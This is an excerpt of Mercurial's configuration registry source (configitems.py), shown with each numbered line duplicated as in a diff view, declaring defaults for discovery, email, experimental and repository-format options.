766 # <target-size>, len(roots(undecided)), len(heads(undecided)
766 # <target-size>, len(roots(undecided)), len(heads(undecided)
767 coreconfigitem(
767 coreconfigitem(
768 b'devel',
768 b'devel',
769 b'discovery.grow-sample.dynamic',
769 b'discovery.grow-sample.dynamic',
770 default=True,
770 default=True,
771 )
771 )
772 # discovery.grow-sample.rate control the rate at which the sample grow
772 # discovery.grow-sample.rate control the rate at which the sample grow
773 coreconfigitem(
773 coreconfigitem(
774 b'devel',
774 b'devel',
775 b'discovery.grow-sample.rate',
775 b'discovery.grow-sample.rate',
776 default=1.05,
776 default=1.05,
777 )
777 )
778 # If discovery.randomize is False, random sampling during discovery are
778 # If discovery.randomize is False, random sampling during discovery are
779 # deterministic. It is meant for integration tests.
779 # deterministic. It is meant for integration tests.
780 coreconfigitem(
780 coreconfigitem(
781 b'devel',
781 b'devel',
782 b'discovery.randomize',
782 b'discovery.randomize',
783 default=True,
783 default=True,
784 )
784 )
785 # Control the initial size of the discovery sample
785 # Control the initial size of the discovery sample
786 coreconfigitem(
786 coreconfigitem(
787 b'devel',
787 b'devel',
788 b'discovery.sample-size',
788 b'discovery.sample-size',
789 default=200,
789 default=200,
790 )
790 )
791 # Control the initial size of the discovery for initial change
791 # Control the initial size of the discovery for initial change
792 coreconfigitem(
792 coreconfigitem(
793 b'devel',
793 b'devel',
794 b'discovery.sample-size.initial',
794 b'discovery.sample-size.initial',
795 default=100,
795 default=100,
796 )
796 )
797 _registerdiffopts(section=b'diff')
797 _registerdiffopts(section=b'diff')
798 coreconfigitem(
798 coreconfigitem(
799 b'diff',
799 b'diff',
800 b'merge',
800 b'merge',
801 default=False,
801 default=False,
802 experimental=True,
802 experimental=True,
803 )
803 )
804 coreconfigitem(
804 coreconfigitem(
805 b'email',
805 b'email',
806 b'bcc',
806 b'bcc',
807 default=None,
807 default=None,
808 )
808 )
809 coreconfigitem(
809 coreconfigitem(
810 b'email',
810 b'email',
811 b'cc',
811 b'cc',
812 default=None,
812 default=None,
813 )
813 )
814 coreconfigitem(
814 coreconfigitem(
815 b'email',
815 b'email',
816 b'charsets',
816 b'charsets',
817 default=list,
817 default=list,
818 )
818 )
819 coreconfigitem(
819 coreconfigitem(
820 b'email',
820 b'email',
821 b'from',
821 b'from',
822 default=None,
822 default=None,
823 )
823 )
824 coreconfigitem(
824 coreconfigitem(
825 b'email',
825 b'email',
826 b'method',
826 b'method',
827 default=b'smtp',
827 default=b'smtp',
828 )
828 )
829 coreconfigitem(
829 coreconfigitem(
830 b'email',
830 b'email',
831 b'reply-to',
831 b'reply-to',
832 default=None,
832 default=None,
833 )
833 )
834 coreconfigitem(
834 coreconfigitem(
835 b'email',
835 b'email',
836 b'to',
836 b'to',
837 default=None,
837 default=None,
838 )
838 )
839 coreconfigitem(
839 coreconfigitem(
840 b'experimental',
840 b'experimental',
841 b'archivemetatemplate',
841 b'archivemetatemplate',
842 default=dynamicdefault,
842 default=dynamicdefault,
843 )
843 )
844 coreconfigitem(
844 coreconfigitem(
845 b'experimental',
845 b'experimental',
846 b'auto-publish',
846 b'auto-publish',
847 default=b'publish',
847 default=b'publish',
848 )
848 )
849 coreconfigitem(
849 coreconfigitem(
850 b'experimental',
850 b'experimental',
851 b'bundle-phases',
851 b'bundle-phases',
852 default=False,
852 default=False,
853 )
853 )
854 coreconfigitem(
854 coreconfigitem(
855 b'experimental',
855 b'experimental',
856 b'bundle2-advertise',
856 b'bundle2-advertise',
857 default=True,
857 default=True,
858 )
858 )
859 coreconfigitem(
859 coreconfigitem(
860 b'experimental',
860 b'experimental',
861 b'bundle2-output-capture',
861 b'bundle2-output-capture',
862 default=False,
862 default=False,
863 )
863 )
864 coreconfigitem(
864 coreconfigitem(
865 b'experimental',
865 b'experimental',
866 b'bundle2.pushback',
866 b'bundle2.pushback',
867 default=False,
867 default=False,
868 )
868 )
869 coreconfigitem(
869 coreconfigitem(
870 b'experimental',
870 b'experimental',
871 b'bundle2lazylocking',
871 b'bundle2lazylocking',
872 default=False,
872 default=False,
873 )
873 )
874 coreconfigitem(
874 coreconfigitem(
875 b'experimental',
875 b'experimental',
876 b'bundlecomplevel',
876 b'bundlecomplevel',
877 default=None,
877 default=None,
878 )
878 )
879 coreconfigitem(
879 coreconfigitem(
880 b'experimental',
880 b'experimental',
881 b'bundlecomplevel.bzip2',
881 b'bundlecomplevel.bzip2',
882 default=None,
882 default=None,
883 )
883 )
884 coreconfigitem(
884 coreconfigitem(
885 b'experimental',
885 b'experimental',
886 b'bundlecomplevel.gzip',
886 b'bundlecomplevel.gzip',
887 default=None,
887 default=None,
888 )
888 )
889 coreconfigitem(
889 coreconfigitem(
890 b'experimental',
890 b'experimental',
891 b'bundlecomplevel.none',
891 b'bundlecomplevel.none',
892 default=None,
892 default=None,
893 )
893 )
894 coreconfigitem(
894 coreconfigitem(
895 b'experimental',
895 b'experimental',
896 b'bundlecomplevel.zstd',
896 b'bundlecomplevel.zstd',
897 default=None,
897 default=None,
898 )
898 )
899 coreconfigitem(
899 coreconfigitem(
900 b'experimental',
900 b'experimental',
901 b'bundlecompthreads',
901 b'bundlecompthreads',
902 default=None,
902 default=None,
903 )
903 )
904 coreconfigitem(
904 coreconfigitem(
905 b'experimental',
905 b'experimental',
906 b'bundlecompthreads.bzip2',
906 b'bundlecompthreads.bzip2',
907 default=None,
907 default=None,
908 )
908 )
909 coreconfigitem(
909 coreconfigitem(
910 b'experimental',
910 b'experimental',
911 b'bundlecompthreads.gzip',
911 b'bundlecompthreads.gzip',
912 default=None,
912 default=None,
913 )
913 )
914 coreconfigitem(
914 coreconfigitem(
915 b'experimental',
915 b'experimental',
916 b'bundlecompthreads.none',
916 b'bundlecompthreads.none',
917 default=None,
917 default=None,
918 )
918 )
919 coreconfigitem(
919 coreconfigitem(
920 b'experimental',
920 b'experimental',
921 b'bundlecompthreads.zstd',
921 b'bundlecompthreads.zstd',
922 default=None,
922 default=None,
923 )
923 )
924 coreconfigitem(
924 coreconfigitem(
925 b'experimental',
925 b'experimental',
926 b'changegroup3',
926 b'changegroup3',
927 default=False,
927 default=False,
928 )
928 )
929 coreconfigitem(
929 coreconfigitem(
930 b'experimental',
930 b'experimental',
931 b'changegroup4',
931 b'changegroup4',
932 default=False,
932 default=False,
933 )
933 )
934
934
935 # might remove rank configuration once the computation has no impact
935 # might remove rank configuration once the computation has no impact
936 coreconfigitem(
936 coreconfigitem(
937 b'experimental',
937 b'experimental',
938 b'changelog-v2.compute-rank',
938 b'changelog-v2.compute-rank',
939 default=True,
939 default=True,
940 )
940 )
941 coreconfigitem(
941 coreconfigitem(
942 b'experimental',
942 b'experimental',
943 b'cleanup-as-archived',
943 b'cleanup-as-archived',
944 default=False,
944 default=False,
945 )
945 )
946 coreconfigitem(
946 coreconfigitem(
947 b'experimental',
947 b'experimental',
948 b'clientcompressionengines',
948 b'clientcompressionengines',
949 default=list,
949 default=list,
950 )
950 )
951 coreconfigitem(
951 coreconfigitem(
952 b'experimental',
952 b'experimental',
953 b'copytrace',
953 b'copytrace',
954 default=b'on',
954 default=b'on',
955 )
955 )
956 coreconfigitem(
956 coreconfigitem(
957 b'experimental',
957 b'experimental',
958 b'copytrace.movecandidateslimit',
958 b'copytrace.movecandidateslimit',
959 default=100,
959 default=100,
960 )
960 )
961 coreconfigitem(
961 coreconfigitem(
962 b'experimental',
962 b'experimental',
963 b'copytrace.sourcecommitlimit',
963 b'copytrace.sourcecommitlimit',
964 default=100,
964 default=100,
965 )
965 )
966 coreconfigitem(
966 coreconfigitem(
967 b'experimental',
967 b'experimental',
968 b'copies.read-from',
968 b'copies.read-from',
969 default=b"filelog-only",
969 default=b"filelog-only",
970 )
970 )
971 coreconfigitem(
971 coreconfigitem(
972 b'experimental',
972 b'experimental',
973 b'copies.write-to',
973 b'copies.write-to',
974 default=b'filelog-only',
974 default=b'filelog-only',
975 )
975 )
976 coreconfigitem(
976 coreconfigitem(
977 b'experimental',
977 b'experimental',
978 b'crecordtest',
978 b'crecordtest',
979 default=None,
979 default=None,
980 )
980 )
981 coreconfigitem(
981 coreconfigitem(
982 b'experimental',
982 b'experimental',
983 b'directaccess',
983 b'directaccess',
984 default=False,
984 default=False,
985 )
985 )
986 coreconfigitem(
986 coreconfigitem(
987 b'experimental',
987 b'experimental',
988 b'directaccess.revnums',
988 b'directaccess.revnums',
989 default=False,
989 default=False,
990 )
990 )
991 coreconfigitem(
991 coreconfigitem(
992 b'experimental',
992 b'experimental',
993 b'editortmpinhg',
993 b'editortmpinhg',
994 default=False,
994 default=False,
995 )
995 )
996 coreconfigitem(
996 coreconfigitem(
997 b'experimental',
997 b'experimental',
998 b'evolution',
998 b'evolution',
999 default=list,
999 default=list,
1000 )
1000 )
1001 coreconfigitem(
1001 coreconfigitem(
1002 b'experimental',
1002 b'experimental',
1003 b'evolution.allowdivergence',
1003 b'evolution.allowdivergence',
1004 default=False,
1004 default=False,
1005 alias=[(b'experimental', b'allowdivergence')],
1005 alias=[(b'experimental', b'allowdivergence')],
1006 )
1006 )
1007 coreconfigitem(
1007 coreconfigitem(
1008 b'experimental',
1008 b'experimental',
1009 b'evolution.allowunstable',
1009 b'evolution.allowunstable',
1010 default=None,
1010 default=None,
1011 )
1011 )
1012 coreconfigitem(
1012 coreconfigitem(
1013 b'experimental',
1013 b'experimental',
1014 b'evolution.createmarkers',
1014 b'evolution.createmarkers',
1015 default=None,
1015 default=None,
1016 )
1016 )
1017 coreconfigitem(
1017 coreconfigitem(
1018 b'experimental',
1018 b'experimental',
1019 b'evolution.effect-flags',
1019 b'evolution.effect-flags',
1020 default=True,
1020 default=True,
1021 alias=[(b'experimental', b'effect-flags')],
1021 alias=[(b'experimental', b'effect-flags')],
1022 )
1022 )
1023 coreconfigitem(
1023 coreconfigitem(
1024 b'experimental',
1024 b'experimental',
1025 b'evolution.exchange',
1025 b'evolution.exchange',
1026 default=None,
1026 default=None,
1027 )
1027 )
1028 coreconfigitem(
1028 coreconfigitem(
1029 b'experimental',
1029 b'experimental',
1030 b'evolution.bundle-obsmarker',
1030 b'evolution.bundle-obsmarker',
1031 default=False,
1031 default=False,
1032 )
1032 )
1033 coreconfigitem(
1033 coreconfigitem(
1034 b'experimental',
1034 b'experimental',
1035 b'evolution.bundle-obsmarker:mandatory',
1035 b'evolution.bundle-obsmarker:mandatory',
1036 default=True,
1036 default=True,
1037 )
1037 )
1038 coreconfigitem(
1038 coreconfigitem(
1039 b'experimental',
1039 b'experimental',
1040 b'log.topo',
1040 b'log.topo',
1041 default=False,
1041 default=False,
1042 )
1042 )
1043 coreconfigitem(
1043 coreconfigitem(
1044 b'experimental',
1044 b'experimental',
1045 b'evolution.report-instabilities',
1045 b'evolution.report-instabilities',
1046 default=True,
1046 default=True,
1047 )
1047 )
1048 coreconfigitem(
1048 coreconfigitem(
1049 b'experimental',
1049 b'experimental',
1050 b'evolution.track-operation',
1050 b'evolution.track-operation',
1051 default=True,
1051 default=True,
1052 )
1052 )
1053 # repo-level config to exclude a revset visibility
1053 # repo-level config to exclude a revset visibility
1054 #
1054 #
1055 # The target use case is to use `share` to expose different subset of the same
1055 # The target use case is to use `share` to expose different subset of the same
1056 # repository, especially server side. See also `server.view`.
1056 # repository, especially server side. See also `server.view`.
1057 coreconfigitem(
1057 coreconfigitem(
1058 b'experimental',
1058 b'experimental',
1059 b'extra-filter-revs',
1059 b'extra-filter-revs',
1060 default=None,
1060 default=None,
1061 )
1061 )
1062 coreconfigitem(
1062 coreconfigitem(
1063 b'experimental',
1063 b'experimental',
1064 b'maxdeltachainspan',
1064 b'maxdeltachainspan',
1065 default=-1,
1065 default=-1,
1066 )
1066 )
1067 # tracks files which were undeleted (merge might delete them but we explicitly
1067 # tracks files which were undeleted (merge might delete them but we explicitly
1068 # kept/undeleted them) and creates new filenodes for them
1068 # kept/undeleted them) and creates new filenodes for them
1069 coreconfigitem(
1069 coreconfigitem(
1070 b'experimental',
1070 b'experimental',
1071 b'merge-track-salvaged',
1071 b'merge-track-salvaged',
1072 default=False,
1072 default=False,
1073 )
1073 )
1074 coreconfigitem(
1074 coreconfigitem(
1075 b'experimental',
1075 b'experimental',
1076 b'mmapindexthreshold',
1076 b'mmapindexthreshold',
1077 default=None,
1077 default=None,
1078 )
1078 )
1079 coreconfigitem(
1079 coreconfigitem(
1080 b'experimental',
1080 b'experimental',
1081 b'narrow',
1081 b'narrow',
1082 default=False,
1082 default=False,
1083 )
1083 )
1084 coreconfigitem(
1084 coreconfigitem(
1085 b'experimental',
1085 b'experimental',
1086 b'nonnormalparanoidcheck',
1086 b'nonnormalparanoidcheck',
1087 default=False,
1087 default=False,
1088 )
1088 )
1089 coreconfigitem(
1089 coreconfigitem(
1090 b'experimental',
1090 b'experimental',
1091 b'exportableenviron',
1091 b'exportableenviron',
1092 default=list,
1092 default=list,
1093 )
1093 )
1094 coreconfigitem(
1094 coreconfigitem(
1095 b'experimental',
1095 b'experimental',
1096 b'extendedheader.index',
1096 b'extendedheader.index',
1097 default=None,
1097 default=None,
1098 )
1098 )
1099 coreconfigitem(
1099 coreconfigitem(
1100 b'experimental',
1100 b'experimental',
1101 b'extendedheader.similarity',
1101 b'extendedheader.similarity',
1102 default=False,
1102 default=False,
1103 )
1103 )
1104 coreconfigitem(
1104 coreconfigitem(
1105 b'experimental',
1105 b'experimental',
1106 b'graphshorten',
1106 b'graphshorten',
1107 default=False,
1107 default=False,
1108 )
1108 )
1109 coreconfigitem(
1109 coreconfigitem(
1110 b'experimental',
1110 b'experimental',
1111 b'graphstyle.parent',
1111 b'graphstyle.parent',
1112 default=dynamicdefault,
1112 default=dynamicdefault,
1113 )
1113 )
1114 coreconfigitem(
1114 coreconfigitem(
1115 b'experimental',
1115 b'experimental',
1116 b'graphstyle.missing',
1116 b'graphstyle.missing',
1117 default=dynamicdefault,
1117 default=dynamicdefault,
1118 )
1118 )
1119 coreconfigitem(
1119 coreconfigitem(
1120 b'experimental',
1120 b'experimental',
1121 b'graphstyle.grandparent',
1121 b'graphstyle.grandparent',
1122 default=dynamicdefault,
1122 default=dynamicdefault,
1123 )
1123 )
1124 coreconfigitem(
1124 coreconfigitem(
1125 b'experimental',
1125 b'experimental',
1126 b'hook-track-tags',
1126 b'hook-track-tags',
1127 default=False,
1127 default=False,
1128 )
1128 )
1129 coreconfigitem(
1129 coreconfigitem(
1130 b'experimental',
1130 b'experimental',
1131 b'httppostargs',
1131 b'httppostargs',
1132 default=False,
1132 default=False,
1133 )
1133 )
1134 coreconfigitem(b'experimental', b'nointerrupt', default=False)
1134 coreconfigitem(b'experimental', b'nointerrupt', default=False)
1135 coreconfigitem(b'experimental', b'nointerrupt-interactiveonly', default=True)
1135 coreconfigitem(b'experimental', b'nointerrupt-interactiveonly', default=True)
1136
1136
1137 coreconfigitem(
1137 coreconfigitem(
1138 b'experimental',
1138 b'experimental',
1139 b'obsmarkers-exchange-debug',
1139 b'obsmarkers-exchange-debug',
1140 default=False,
1140 default=False,
1141 )
1141 )
1142 coreconfigitem(
1142 coreconfigitem(
1143 b'experimental',
1143 b'experimental',
1144 b'remotenames',
1144 b'remotenames',
1145 default=False,
1145 default=False,
1146 )
1146 )
1147 coreconfigitem(
1147 coreconfigitem(
1148 b'experimental',
1148 b'experimental',
1149 b'removeemptydirs',
1149 b'removeemptydirs',
1150 default=True,
1150 default=True,
1151 )
1151 )
1152 coreconfigitem(
1152 coreconfigitem(
1153 b'experimental',
1153 b'experimental',
1154 b'revert.interactive.select-to-keep',
1154 b'revert.interactive.select-to-keep',
1155 default=False,
1155 default=False,
1156 )
1156 )
1157 coreconfigitem(
1157 coreconfigitem(
1158 b'experimental',
1158 b'experimental',
1159 b'revisions.prefixhexnode',
1159 b'revisions.prefixhexnode',
1160 default=False,
1160 default=False,
1161 )
1161 )
1162 # "out of experimental" todo list.
1162 # "out of experimental" todo list.
1163 #
1163 #
1164 # * include management of a persistent nodemap in the main docket
1164 # * include management of a persistent nodemap in the main docket
1165 # * enforce a "no-truncate" policy for mmap safety
1165 # * enforce a "no-truncate" policy for mmap safety
1166 # - for censoring operation
1166 # - for censoring operation
1167 # - for stripping operation
1167 # - for stripping operation
1168 # - for rollback operation
1168 # - for rollback operation
1169 # * proper streaming (race free) of the docket file
1169 # * proper streaming (race free) of the docket file
1170 # * track garbage data to evemtually allow rewriting -existing- sidedata.
1170 # * track garbage data to evemtually allow rewriting -existing- sidedata.
1171 # * Exchange-wise, we will also need to do something more efficient than
1171 # * Exchange-wise, we will also need to do something more efficient than
1172 # keeping references to the affected revlogs, especially memory-wise when
1172 # keeping references to the affected revlogs, especially memory-wise when
1173 # rewriting sidedata.
1173 # rewriting sidedata.
1174 # * introduce a proper solution to reduce the number of filelog related files.
1174 # * introduce a proper solution to reduce the number of filelog related files.
1175 # * use caching for reading sidedata (similar to what we do for data).
1175 # * use caching for reading sidedata (similar to what we do for data).
1176 # * no longer set offset=0 if sidedata_size=0 (simplify cutoff computation).
1176 # * no longer set offset=0 if sidedata_size=0 (simplify cutoff computation).
1177 # * Improvement to consider
1177 # * Improvement to consider
1178 # - avoid compression header in chunk using the default compression?
1178 # - avoid compression header in chunk using the default compression?
1179 # - forbid "inline" compression mode entirely?
1179 # - forbid "inline" compression mode entirely?
1180 # - split the data offset and flag field (the 2 bytes save are mostly trouble)
1180 # - split the data offset and flag field (the 2 bytes save are mostly trouble)
1181 # - keep track of uncompressed -chunk- size (to preallocate memory better)
1181 # - keep track of uncompressed -chunk- size (to preallocate memory better)
1182 # - keep track of chain base or size (probably not that useful anymore)
1182 # - keep track of chain base or size (probably not that useful anymore)
1183 coreconfigitem(
1183 coreconfigitem(
1184 b'experimental',
1184 b'experimental',
1185 b'revlogv2',
1185 b'revlogv2',
1186 default=None,
1186 default=None,
1187 )
1187 )
1188 coreconfigitem(
1188 coreconfigitem(
1189 b'experimental',
1189 b'experimental',
1190 b'revisions.disambiguatewithin',
1190 b'revisions.disambiguatewithin',
1191 default=None,
1191 default=None,
1192 )
1192 )
1193 coreconfigitem(
1193 coreconfigitem(
1194 b'experimental',
1194 b'experimental',
1195 b'rust.index',
1195 b'rust.index',
1196 default=False,
1196 default=False,
1197 )
1197 )
1198 coreconfigitem(
1198 coreconfigitem(
1199 b'experimental',
1199 b'experimental',
1200 b'server.filesdata.recommended-batch-size',
1200 b'server.filesdata.recommended-batch-size',
1201 default=50000,
1201 default=50000,
1202 )
1202 )
1203 coreconfigitem(
1203 coreconfigitem(
1204 b'experimental',
1204 b'experimental',
1205 b'server.manifestdata.recommended-batch-size',
1205 b'server.manifestdata.recommended-batch-size',
1206 default=100000,
1206 default=100000,
1207 )
1207 )
1208 coreconfigitem(
1208 coreconfigitem(
1209 b'experimental',
1209 b'experimental',
1210 b'server.stream-narrow-clones',
1210 b'server.stream-narrow-clones',
1211 default=False,
1211 default=False,
1212 )
1212 )
1213 coreconfigitem(
1213 coreconfigitem(
1214 b'experimental',
1214 b'experimental',
1215 b'single-head-per-branch',
1215 b'single-head-per-branch',
1216 default=False,
1216 default=False,
1217 )
1217 )
1218 coreconfigitem(
1218 coreconfigitem(
1219 b'experimental',
1219 b'experimental',
1220 b'single-head-per-branch:account-closed-heads',
1220 b'single-head-per-branch:account-closed-heads',
1221 default=False,
1221 default=False,
1222 )
1222 )
1223 coreconfigitem(
1223 coreconfigitem(
1224 b'experimental',
1224 b'experimental',
1225 b'single-head-per-branch:public-changes-only',
1225 b'single-head-per-branch:public-changes-only',
1226 default=False,
1226 default=False,
1227 )
1227 )
1228 coreconfigitem(
1228 coreconfigitem(
1229 b'experimental',
1229 b'experimental',
1230 b'sparse-read',
1230 b'sparse-read',
1231 default=False,
1231 default=False,
1232 )
1232 )
1233 coreconfigitem(
1233 coreconfigitem(
1234 b'experimental',
1234 b'experimental',
1235 b'sparse-read.density-threshold',
1235 b'sparse-read.density-threshold',
1236 default=0.50,
1236 default=0.50,
1237 )
1237 )
1238 coreconfigitem(
1238 coreconfigitem(
1239 b'experimental',
1239 b'experimental',
1240 b'sparse-read.min-gap-size',
1240 b'sparse-read.min-gap-size',
1241 default=b'65K',
1241 default=b'65K',
1242 )
1242 )
1243 coreconfigitem(
1243 coreconfigitem(
1244 b'experimental',
1244 b'experimental',
1245 b'treemanifest',
1245 b'treemanifest',
1246 default=False,
1246 default=False,
1247 )
1247 )
1248 coreconfigitem(
1248 coreconfigitem(
1249 b'experimental',
1249 b'experimental',
1250 b'update.atomic-file',
1250 b'update.atomic-file',
1251 default=False,
1251 default=False,
1252 )
1252 )
1253 coreconfigitem(
1253 coreconfigitem(
1254 b'experimental',
1254 b'experimental',
1255 b'web.full-garbage-collection-rate',
1255 b'web.full-garbage-collection-rate',
1256 default=1, # still forcing a full collection on each request
1256 default=1, # still forcing a full collection on each request
1257 )
1257 )
1258 coreconfigitem(
1258 coreconfigitem(
1259 b'experimental',
1259 b'experimental',
1260 b'worker.wdir-get-thread-safe',
1260 b'worker.wdir-get-thread-safe',
1261 default=False,
1261 default=False,
1262 )
1262 )
1263 coreconfigitem(
1263 coreconfigitem(
1264 b'experimental',
1264 b'experimental',
1265 b'worker.repository-upgrade',
1265 b'worker.repository-upgrade',
1266 default=False,
1266 default=False,
1267 )
1267 )
1268 coreconfigitem(
1268 coreconfigitem(
1269 b'experimental',
1269 b'experimental',
1270 b'xdiff',
1270 b'xdiff',
1271 default=False,
1271 default=False,
1272 )
1272 )
1273 coreconfigitem(
1273 coreconfigitem(
1274 b'extensions',
1274 b'extensions',
1275 b'[^:]*',
1275 b'[^:]*',
1276 default=None,
1276 default=None,
1277 generic=True,
1277 generic=True,
1278 )
1278 )
1279 coreconfigitem(
1279 coreconfigitem(
1280 b'extensions',
1280 b'extensions',
1281 b'[^:]*:required',
1281 b'[^:]*:required',
1282 default=False,
1282 default=False,
1283 generic=True,
1283 generic=True,
1284 )
1284 )
1285 coreconfigitem(
1285 coreconfigitem(
1286 b'extdata',
1286 b'extdata',
1287 b'.*',
1287 b'.*',
1288 default=None,
1288 default=None,
1289 generic=True,
1289 generic=True,
1290 )
1290 )
1291 coreconfigitem(
1291 coreconfigitem(
1292 b'format',
1292 b'format',
1293 b'bookmarks-in-store',
1293 b'bookmarks-in-store',
1294 default=False,
1294 default=False,
1295 )
1295 )
1296 coreconfigitem(
1296 coreconfigitem(
1297 b'format',
1297 b'format',
1298 b'chunkcachesize',
1298 b'chunkcachesize',
1299 default=None,
1299 default=None,
1300 experimental=True,
1300 experimental=True,
1301 )
1301 )
1302 coreconfigitem(
1302 coreconfigitem(
1303 # Enable this dirstate format *when creating a new repository*.
1303 # Enable this dirstate format *when creating a new repository*.
1304 # Which format to use for existing repos is controlled by .hg/requires
1304 # Which format to use for existing repos is controlled by .hg/requires
1305 b'format',
1305 b'format',
1306 b'use-dirstate-v2',
1306 b'use-dirstate-v2',
1307 default=False,
1307 default=False,
1308 experimental=True,
1308 experimental=True,
1309 alias=[(b'format', b'exp-rc-dirstate-v2')],
1309 alias=[(b'format', b'exp-rc-dirstate-v2')],
1310 )
1310 )
1311 coreconfigitem(
1311 coreconfigitem(
1312 b'format',
1312 b'format',
1313 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories',
1313 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories',
1314 default=False,
1314 default=False,
1315 experimental=True,
1315 experimental=True,
1316 )
1316 )
1317 coreconfigitem(
1317 coreconfigitem(
1318 b'format',
1318 b'format',
1319 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet',
1319 b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet',
1320 default=False,
1320 default=False,
1321 experimental=True,
1321 experimental=True,
1322 )
1322 )
1323 coreconfigitem(
1323 coreconfigitem(
1324 b'format',
1324 b'format',
1325 b'use-dirstate-tracked-hint',
1325 b'use-dirstate-tracked-hint',
1326 default=False,
1326 default=False,
1327 experimental=True,
1327 experimental=True,
1328 )
1328 )
1329 coreconfigitem(
1329 coreconfigitem(
1330 b'format',
1330 b'format',
1331 b'use-dirstate-tracked-hint.version',
1331 b'use-dirstate-tracked-hint.version',
1332 default=1,
1332 default=1,
1333 experimental=True,
1333 experimental=True,
1334 )
1334 )
1335 coreconfigitem(
1335 coreconfigitem(
1336 b'format',
1336 b'format',
1337 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories',
1337 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories',
1338 default=False,
1338 default=False,
1339 experimental=True,
1339 experimental=True,
1340 )
1340 )
1341 coreconfigitem(
1341 coreconfigitem(
1342 b'format',
1342 b'format',
1343 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet',
1343 b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet',
1344 default=False,
1344 default=False,
1345 experimental=True,
1345 experimental=True,
1346 )
1346 )
1347 coreconfigitem(
1347 coreconfigitem(
1348 b'format',
1348 b'format',
1349 b'dotencode',
1349 b'dotencode',
1350 default=True,
1350 default=True,
1351 )
1351 )
1352 coreconfigitem(
1352 coreconfigitem(
1353 b'format',
1353 b'format',
1354 b'generaldelta',
1354 b'generaldelta',
1355 default=False,
1355 default=False,
1356 experimental=True,
1356 experimental=True,
1357 )
1357 )
1358 coreconfigitem(
1358 coreconfigitem(
1359 b'format',
1359 b'format',
1360 b'manifestcachesize',
1360 b'manifestcachesize',
1361 default=None,
1361 default=None,
1362 experimental=True,
1362 experimental=True,
1363 )
1363 )
1364 coreconfigitem(
1364 coreconfigitem(
1365 b'format',
1365 b'format',
1366 b'maxchainlen',
1366 b'maxchainlen',
1367 default=dynamicdefault,
1367 default=dynamicdefault,
1368 experimental=True,
1368 experimental=True,
1369 )
1369 )
1370 coreconfigitem(
1370 coreconfigitem(
1371 b'format',
1371 b'format',
1372 b'obsstore-version',
1372 b'obsstore-version',
1373 default=None,
1373 default=None,
1374 )
1374 )
1375 coreconfigitem(
1375 coreconfigitem(
1376 b'format',
1376 b'format',
1377 b'sparse-revlog',
1377 b'sparse-revlog',
1378 default=True,
1378 default=True,
1379 )
1379 )
1380 coreconfigitem(
1380 coreconfigitem(
1381 b'format',
1381 b'format',
1382 b'revlog-compression',
1382 b'revlog-compression',
1383 default=lambda: [b'zstd', b'zlib'],
1383 default=lambda: [b'zstd', b'zlib'],
1384 alias=[(b'experimental', b'format.compression')],
1384 alias=[(b'experimental', b'format.compression')],
1385 )
1385 )
1386 # Experimental TODOs:
1386 # Experimental TODOs:
1387 #
1387 #
1388 # * Same as for revlogv2 (but for the reduction of the number of files)
1388 # * Same as for revlogv2 (but for the reduction of the number of files)
1389 # * Actually computing the rank of changesets
1389 # * Actually computing the rank of changesets
1390 # * Improvement to investigate
1390 # * Improvement to investigate
1391 # - storing .hgtags fnode
1391 # - storing .hgtags fnode
1392 # - storing branch related identifier
1392 # - storing branch related identifier
1393
1393
1394 coreconfigitem(
1394 coreconfigitem(
1395 b'format',
1395 b'format',
1396 b'exp-use-changelog-v2',
1396 b'exp-use-changelog-v2',
1397 default=None,
1397 default=None,
1398 experimental=True,
1398 experimental=True,
1399 )
1399 )
1400 coreconfigitem(
1400 coreconfigitem(
1401 b'format',
1401 b'format',
1402 b'usefncache',
1402 b'usefncache',
1403 default=True,
1403 default=True,
1404 )
1404 )
1405 coreconfigitem(
1405 coreconfigitem(
1406 b'format',
1406 b'format',
1407 b'usegeneraldelta',
1407 b'usegeneraldelta',
1408 default=True,
1408 default=True,
1409 )
1409 )
1410 coreconfigitem(
1410 coreconfigitem(
1411 b'format',
1411 b'format',
1412 b'usestore',
1412 b'usestore',
1413 default=True,
1413 default=True,
1414 )
1414 )
1415
1415
1416
1416
1417 def _persistent_nodemap_default():
1417 def _persistent_nodemap_default():
1418 """compute `use-persistent-nodemap` default value
1418 """compute `use-persistent-nodemap` default value
1419
1419
1420 The feature is disabled unless a fast implementation is available.
1420 The feature is disabled unless a fast implementation is available.
1421 """
1421 """
1422 from . import policy
1422 from . import policy
1423
1423
1424 return policy.importrust('revlog') is not None
1424 return policy.importrust('revlog') is not None
1425
1425
1426
1426
1427 coreconfigitem(
1427 coreconfigitem(
1428 b'format',
1428 b'format',
1429 b'use-persistent-nodemap',
1429 b'use-persistent-nodemap',
1430 default=_persistent_nodemap_default,
1430 default=_persistent_nodemap_default,
1431 )
1431 )
1432 coreconfigitem(
1432 coreconfigitem(
1433 b'format',
1433 b'format',
1434 b'exp-use-copies-side-data-changeset',
1434 b'exp-use-copies-side-data-changeset',
1435 default=False,
1435 default=False,
1436 experimental=True,
1436 experimental=True,
1437 )
1437 )
1438 coreconfigitem(
1438 coreconfigitem(
1439 b'format',
1439 b'format',
1440 b'use-share-safe',
1440 b'use-share-safe',
1441 default=True,
1441 default=True,
1442 )
1442 )
1443 coreconfigitem(
1443 coreconfigitem(
1444 b'format',
1444 b'format',
1445 b'use-share-safe.automatic-upgrade-of-mismatching-repositories',
1445 b'use-share-safe.automatic-upgrade-of-mismatching-repositories',
1446 default=False,
1446 default=False,
1447 experimental=True,
1447 experimental=True,
1448 )
1448 )
1449 coreconfigitem(
1449 coreconfigitem(
1450 b'format',
1450 b'format',
1451 b'use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet',
1451 b'use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet',
1452 default=False,
1452 default=False,
1453 experimental=True,
1453 experimental=True,
1454 )
1454 )
1455
1455
1456 # Moving this on by default means we are confident about the scaling of phases.
1456 # Moving this on by default means we are confident about the scaling of phases.
1457 # This is not garanteed to be the case at the time this message is written.
1457 # This is not garanteed to be the case at the time this message is written.
1458 coreconfigitem(
1458 coreconfigitem(
1459 b'format',
1459 b'format',
1460 b'use-internal-phase',
1460 b'use-internal-phase',
